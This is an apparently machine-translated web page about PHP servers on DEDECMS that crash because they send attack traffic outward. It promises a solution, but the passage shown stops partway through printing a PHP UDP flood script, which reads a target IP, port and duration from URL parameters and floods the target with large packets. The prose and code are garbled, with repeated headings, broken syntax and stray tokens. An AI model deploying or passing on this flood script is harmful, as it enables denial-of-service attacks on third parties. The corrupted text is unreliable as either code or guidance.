Provides a free download of the solution document for server php to cause external packet sending crash. Abstract: a solution for server php to cause external packet sending crash. A solution for server php to cause external packet sending crash, the server crashes or is locked up by the data center. Today, I am free to share with you the paopao my summary of DEDECMSphp's external packet sending service.
Solution to external packet sending caused by server php crash
Solution to external packet sending caused by server php crash
Php sends packets externally, causing the server to crash or the server room to be locked up. Today I am free to share with you the ultimate solution to the server crash caused by DEDECMS php in my summary by paopao, we hope to help you solve server problems and make the website run better.
I. Php outsourcing Analysis
Use php code to call sockets and directly use the server's network to attack other IP addresses. The common code is as follows: $ packets = 0; $ ip = $ _ GET [\ 'IP \ ']; $ rand = $ _ GET [\ 'port \']; set_time_limit (0); ignore_user_abort (FALSE ); $ exec_time = $ _ GET [\ 'time \ ']; sbxl-20120612 $ time = time (); print \ 'flooded: $ ip on port $ rand \'; $ max_time = $ time + $ exec_time; for ($ I = 0; I I <65535; $ I ++) {$ out. =\'x \ ';} while (1) {$ packets ++; if (time ()> $ max_time) {break;} $ fp = fsockopen (\ 'udp: // $ ip \ ', $ rand, $ errno, $ errstr, 5); if ($ fp) {fwrite ($ fp, $ out ); fclose ($ fp) ;}echo \ 'packet complete \'. time (\ 'H: I: s \'). \'